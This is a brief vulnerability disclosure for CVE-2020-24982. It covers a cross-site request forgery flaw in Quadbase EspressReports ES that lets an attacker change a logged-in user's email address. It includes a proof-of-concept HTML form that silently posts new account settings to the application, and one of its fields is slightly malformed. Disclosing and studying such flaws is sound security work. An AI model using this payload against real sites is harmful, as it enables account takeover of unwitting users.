CVE-2020-24982

Quadbase – EspressReports ES – Version 7, Update 9 – Cross Site Request Forgery (CSRF) to change user email.

The EspressDashboard software is vulnerable to cross site request forgery (CSRF) whereby an attacker may be able to trick an authenticated user to change the email address associated with their account.

For the CSRF attack to be successful, the victim must click the malicious link or visit a malicious webpage whilst logged into the vulnerable application. This would cause the victim's browser to issue a POST request to the application. The result of this is a genuine request to the application executed on the user's behalf.

Proof Of Concept:

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http:\/\/192.168.1.124:8080\/EDAB\/UserSettings.jsp" method="POST">
      <input type="hidden" name="modify" value="true" />
      <input type="hidden" name="launch" value="ok" />
      <input type="hidden" name="email" value="test&#64;CSRF&#46;com" />
      <input type="hidden" name="curPass" value=" />
      <input type="hidden" name="pass" value="" />
      <input type="hidden" name="pass2" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```